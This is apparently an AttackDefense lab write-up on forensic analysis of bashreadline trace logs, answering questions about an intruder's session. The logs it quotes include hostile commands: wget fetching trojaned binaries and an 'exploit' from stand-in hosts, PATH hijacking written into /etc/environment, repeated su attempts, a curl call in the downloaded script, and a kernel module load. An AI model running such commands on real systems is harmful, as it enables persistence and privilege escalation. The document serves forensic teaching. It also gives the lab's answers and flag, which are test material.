
ATTACK
DEFENSE
by PentesterAcademy

Name	Bashreadline: Trace Analysis
URL	https://attackdefense.com/challengedetails?cid=1119
Type	Linux Runtime Analysis : Profiling Tools

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Q1. A suspicious user had logged into the system and had downloaded some files using wget. What is the name of that user?

Answer: alice

Command: less logs

```
TIME      PID    COMMAND
23:11:11  75190  apt-get update && apt-get upgrade
23:11:16  75190  ./take-backup.sh
23:11:17  72741  su alice
23:11:17  75190  ./commit-backup.sh
23:11:18  72741  whoami
23:11:18  75190  ./push-backup.sh
23:11:19  72741  mkdir /tmp/.bin/
23:11:20  72741  wget -O /tmp/.bin/ls http://random-url.xyz.local/?getbin=ls
23:11:26  72741  wget -O /tmp/.bin/ps http://random-url.xyz.local/?getbin=ps
23:11:32  72741  wget -O /tmp/.bin/bash http://random-url.xyz.local/?getbin=bash
23:11:37  75190  apt-get install mysql-server
23:11:38  72741  wget -O /tmp/.bin/cd http://random-url.xyz.local/?getbin=cd
23:11:44  72741  wget -O /tmp/.bin/whoami http://random-url.xyz.local/?getbin=whoami
23:11:50  72741  wget -O /tmp/.bin/sudo http://random-url.xyz.local/?getbin=sudo
23:11:56  72741  chmod +x /tmp/.bin/*
23:11:57  72741  echo $PATH
23:11:58  72741  export PATH=/tmp/.bin:$PATH
23:11:59  72741  echo "/tmp/.bin:$PATH" > /etc/environment | sudo tee -a /etc/environment
23:12:02  72741  wget -O /tmp/exe http://random-url.xyz.local/?getexploit=x86-64_16.04_4.15.0-52-
23:12:08  72741  chmod +x /tmp/exe
```

The PID associated with the terminal session used by the suspicious user is 72741.

Command: grep 72741 logs

```
root@attackdefense:~# grep 72741 logs
23:11:17  72741  su alice
23:11:18  72741  whoami
23:11:19  72741  mkdir /tmp/.bin/
23:11:20  72741  wget -O /tmp/.bin/ls http://random-url.xyz.local/?getbin=ls
23:11:26  72741  wget -O /tmp/.bin/ps http://random-url.xyz.local/?getbin=ps
23:11:32  72741  wget -O /tmp/.bin/bash http://random-url.xyz.local/?getbin=bash
23:11:38  72741  wget -O /tmp/.bin/cd http://random-url.xyz.local/?getbin=cd
23:11:44  72741  wget -O /tmp/.bin/whoami http://random-url.xyz.local/?getbin=whoami
23:11:50  72741  wget -O /tmp/.bin/sudo http://random-url.xyz.local/?getbin=sudo
23:11:56  72741  chmod +x /tmp/.bin/*
```

Q2. The suspicious user prepended a directory to the PATH environment variable. What is the complete path of that directory?

Answer: /tmp/.bin

Command: grep 72741 logs

```
root@attackdefense:~# grep 72741 logs
23:11:17  72741  su alice
23:11:18  72741  whoami
23:11:19  72741  mkdir /tmp/.bin/
23:11:20  72741  wget -O /tmp/.bin/ls http://random-url.xyz.local/?getbin=ls
23:11:26  72741  wget -O /tmp/.bin/ps http://random-url.xyz.local/?getbin=ps
23:11:32  72741  wget -O /tmp/.bin/bash http://random-url.xyz.local/?getbin=bash
23:11:38  72741  wget -O /tmp/.bin/cd http://random-url.xyz.local/?getbin=cd
23:11:44  72741  wget -O /tmp/.bin/whoami http://random-url.xyz.local/?getbin=whoami
23:11:50  72741  wget -O /tmp/.bin/sudo http://random-url.xyz.local/?getbin=sudo
23:11:56  72741  chmod +x /tmp/.bin/*
23:11:57  72741  echo $PATH
23:11:58  72741  export PATH=/tmp/.bin:$PATH
23:11:59  72741  echo "/tmp/.bin:$PATH" > /etc/environment | sudo tee -a /etc/environment
23:12:02  72741  wget -O /tmp/exe http://random-url.xyz.local/?getexploit=x86-64_16.04_4.15.0-52-
23:12:08  72741  chmod +x /tmp/exe
```

Q3. The suspicious user downloaded some files from a remote machine using wget. What is the domain name of the remote machine?

Answer: random-url.xyz.local

Command: grep 72741 logs

```
root@attackdefense:~# grep 72741 logs
23:11:17  72741  su alice
23:11:18  72741  whoami
23:11:19  72741  mkdir /tmp/.bin/
23:11:20  72741  wget -O /tmp/.bin/ls http://random-url.xyz.local/?getbin=ls
23:11:26  72741  wget -O /tmp/.bin/ps http://random-url.xyz.local/?getbin=ps
23:11:32  72741  wget -O /tmp/.bin/bash http://random-url.xyz.local/?getbin=bash
23:11:38  72741  wget -O /tmp/.bin/cd http://random-url.xyz.local/?getbin=cd
23:11:44  72741  wget -O /tmp/.bin/whoami http://random-url.xyz.local/?getbin=whoami
23:11:50  72741  wget -O /tmp/.bin/sudo http://random-url.xyz.local/?getbin=sudo
23:11:56  72741  chmod +x /tmp/.bin/*
23:11:57  72741  echo $PATH
23:11:58  72741  export PATH=/tmp/.bin:$PATH
23:11:59  72741  echo "/tmp/.bin:$PATH" > /etc/environment | sudo tee -a /etc/environment
23:12:02  72741  wget -O /tmp/exe http://random-url.xyz.local/?getexploit=x86-64_16.04_4.15.0-52-
23:12:08  72741  chmod +x /tmp/exe
23:12:09  72741  /tmp/exe
```

Q4. The suspicious user had also downloaded a script from the same remote machine in /tmp directory. That script was executed as soon as it was downloaded. Provide the complete path of that script.

Answer: /tmp/exe

Command: grep 72741 logs

```
root@attackdefense:~# grep 72741 logs
23:11:17  72741  su alice
23:11:18  72741  whoami
23:11:19  72741  mkdir /tmp/.bin/
23:11:20  72741  wget -O /tmp/.bin/ls http://random-url.xyz.local/?getbin=ls
23:11:26  72741  wget -O /tmp/.bin/ps http://random-url.xyz.local/?getbin=ps
23:11:32  72741  wget -O /tmp/.bin/bash http://random-url.xyz.local/?getbin=bash
23:11:38  72741  wget -O /tmp/.bin/cd http://random-url.xyz.local/?getbin=cd
23:11:44  72741  wget -O /tmp/.bin/whoami http://random-url.xyz.local/?getbin=whoami
23:11:50  72741  wget -O /tmp/.bin/sudo http://random-url.xyz.local/?getbin=sudo
23:11:56  72741  chmod +x /tmp/.bin/*
23:11:57  72741  echo $PATH
23:11:58  72741  export PATH=/tmp/.bin:$PATH
23:11:59  72741  echo "/tmp/.bin:$PATH" > /etc/environment | sudo tee -a /etc/environment
23:12:02  72741  wget -O /tmp/exe http://random-url.xyz.local/?getexploit=x86-64_16.04_4.15.0-52-
23:12:08  72741  chmod +x /tmp/exe
23:12:09  72741  /tmp/exe
```

Q5. Retrieve the flag from the script downloaded in /tmp directory.

Answer: 72831b53f0bc6f677815a399d3007f12

Command: cat /tmp/exe

```
root@attackdefense:~# cat /tmp/exe
#!/bin/bash

#FLAG: 72831b53f0bc6f677815a399d3007f12

curl http://another-random-server.dev.local/?execute=true&sys=x86_64&os=ubuntu-16.04-linux
root@attackdefense:~#
```

Q6. The suspicious user broke into another user's account after a couple of unsuccessful attempts. What is the name of the compromised user?

Answer: ratchel

```
root@attackdefense:~# grep 72741 logs
23:11:17  72741  su alice
23:11:18  72741  whoami
23:11:19  72741  mkdir /tmp/.bin/
23:11:20  72741  wget -O /tmp/.bin/ls http://random-url.xyz.local/?getbin=ls
23:11:26  72741  wget -O /tmp/.bin/ps http://random-url.xyz.local/?getbin=ps
23:11:32  72741  wget -O /tmp/.bin/bash http://random-url.xyz.local/?getbin=bash
23:11:38  72741  wget -O /tmp/.bin/cd http://random-url.xyz.local/?getbin=cd
23:11:44  72741  wget -O /tmp/.bin/whoami http://random-url.xyz.local/?getbin=whoami
23:11:50  72741  wget -O /tmp/.bin/sudo http://random-url.xyz.local/?getbin=sudo
23:11:56  72741  chmod +x /tmp/.bin/*
23:11:57  72741  echo $PATH
23:11:58  72741  export PATH=/tmp/.bin:$PATH
23:11:59  72741  echo "/tmp/.bin:$PATH" > /etc/environment | sudo tee -a /etc/enviror
23:12:02  72741  wget -O /tmp/exe http://random-url.xyz.local/?getexploit=x86-64_16.
23:12:08  72741  chmod +x /tmp/exe
23:12:09  72741  /tmp/exe
23:12:11  72741  su ratchel
23:12:12  72741  su ratchel
23:12:13  72741  su ratchel
23:12:14  72741  su ratchel
23:12:15  72741  su ratchel
23:12:16  72741  su ratchel
23:12:17  72741  su ratchel
23:12:18  72741  su ratchel
23:12:19  72741  su ratchel
23:12:20  72741  su ratchel
23:12:21  72741  su ratchel
23:12:22  72741  su ratchel
23:12:23  72741  su ratchel
```

```
23:12:24  72741  su ratchel
23:12:25  72741  su ratchel
23:12:26  72741  su ratchel
23:12:27  72741  su ratchel
23:12:28  72741  su ratchel
23:12:29  72741  su ratchel
23:12:30  72741  su ratchel
23:12:31  72741  su ratchel
23:12:32  72741  su ratchel
23:12:33  72741  su ratchel
23:12:34  72741  su ratchel
23:12:35  72741  su ratchel
23:12:36  72741  su ratchel
23:12:37  72741  su ratchel
23:12:38  72741  su ratchel
23:12:39  72741  su ratchel
23:12:40  72741  su ratchel
23:12:41  72741  su ratchel
23:12:42  72741  su ratchel
23:12:43  72741  su ratchel
23:12:44  72741  su ratchel
23:12:45  72741  su ratchel
23:12:46  72741  su ratchel
23:12:47  72741  su ratchel
23:12:48  72741  su ratchel
```

There were many attempts made by user 'alice' to login as user 'ratchel'.

```
23:12:47  72741  su ratchel
23:12:48  72741  su ratchel
23:12:51  72741  wget -O /tmp/.bin/su http://random-url.xyz.local/?getbin=su
23:12:56  72741  chmod +x /tmp/.bin/su
23:12:57  72741  su ratchel
23:13:00  72741  whoami
23:13:01  72741  passwd
23:13:31  72741  sudo su
23:13:34  72741  modprobe random-dummy-module
23:13:48  72741  exit
root@attackdefense:~#
```

After so many attempts, a binary 'su' was downloaded and saved to the directory '/tmp/.bin/'.

Command: grep 72741 logs

```
root@attackdefense:~# grep 72741 logs
23:11:17  72741  su alice
23:11:18  72741  whoami
23:11:19  72741  mkdir /tmp/.bin/
23:11:20  72741  wget -O /tmp/.bin/ls http://random-url.xyz.local/?getbin=ls
23:11:26  72741  wget -O /tmp/.bin/ps http://random-url.xyz.local/?getbin=ps
23:11:32  72741  wget -O /tmp/.bin/bash http://random-url.xyz.local/?getbin=bash
23:11:38  72741  wget -O /tmp/.bin/cd http://random-url.xyz.local/?getbin=cd
23:11:44  72741  wget -O /tmp/.bin/whoami http://random-url.xyz.local/?getbin=whoami
23:11:50  72741  wget -O /tmp/.bin/sudo http://random-url.xyz.local/?getbin=sudo
23:11:56  72741  chmod +x /tmp/.bin/*
23:11:57  72741  echo $PATH
23:11:58  72741  export PATH=/tmp/.bin:$PATH
23:11:59  72741  echo "/tmp/.bin:$PATH" > /etc/environment | sudo tee -a /etc/environment
23:12:02  72741  wget -O /tmp/exe http://random-url.xyz.local/?getexploit=x86-64_16.04_4.15.0-52-
23:12:08  72741  chmod +x /tmp/exe
```

The directory '/tmp/.bin/' had already been prepended to the PATH environment variable.

```
23:12:47  72741  su ratchel
23:12:48  72741  su ratchel
23:12:51  72741  wget -O /tmp/.bin/su http://random-url.xyz.local/?getbin=su
23:12:56  72741  chmod +x /tmp/.bin/su
23:12:57  72741  su ratchel
23:13:00  72741  whoami
23:13:01  72741  passwd
23:13:31  72741  sudo su
23:13:34  72741  modprobe random-dummy-module
23:13:48  72741  exit
root@attackdefense:~#
```

The modified 'su' binary was used to login as user 'ratchel'.

Q7. What is the name of the kernel module loaded by the suspicious user?

Answer: random-dummy-module

Command: grep 72741 logs

```
root@attackdefense:~# grep 72741 logs
23:11:17  72741  su alice
23:11:18  72741  whoami
23:11:19  72741  mkdir /tmp/.bin/
23:11:20  72741  wget -O /tmp/.bin/ls http://random-url.xyz.local/?getbin=ls
23:11:26  72741  wget -O /tmp/.bin/ps http://random-url.xyz.local/?getbin=ps
23:11:32  72741  wget -O /tmp/.bin/bash http://random-url.xyz.local/?getbin=bas
23:11:38  72741  wget -O /tmp/.bin/cd http://random-url.xyz.local/?getbin=cd
23:11:44  72741  wget -O /tmp/.bin/whoami http://random-url.xyz.local/?getbin=w
23:11:50  72741  wget -O /tmp/.bin/sudo http://random-url.xyz.local/?getbin=suc
23:11:56  72741  chmod +x /tmp/.bin/*
23:11:57  72741  echo $PATH
23:11:58  72741  export PATH=/tmp/.bin:$PATH
23:11:59  72741  echo "/tmp/.bin:$PATH" > /etc/environment | sudo tee -a /etc/e
23:12:02  72741  wget -O /tmp/exe http://random-url.xyz.local/?getexploit=x86-6
23:12:08  72741  chmod +x /tmp/exe
23:12:09  72741  /tmp/exe
23:12:11  72741  su ratchel
23:12:47  72741  su ratchel
23:12:48  72741  su ratchel
23:12:51  72741  wget -O /tmp/.bin/su http://random-url.xyz.local/?getbin=su
23:12:56  72741  chmod +x /tmp/.bin/su
23:12:57  72741  su ratchel
23:13:00  72741  whoami
23:13:01  72741  passwd
23:13:31  72741  sudo su
23:13:34  72741  modprobe random-dummy-module
23:13:48  72741  exit
root@attackdefense:~#
```

References:

1. Bashreadline script (https://github.com/iovisor/bcc/blob/master/tools/bashreadline.py)
2. Bashreadline Examples (https://github.com/iovisor/bcc/blob/master/tools/bashreadline_example.txt)
3. BCC Tools (https://github.com/iovisor/bcc)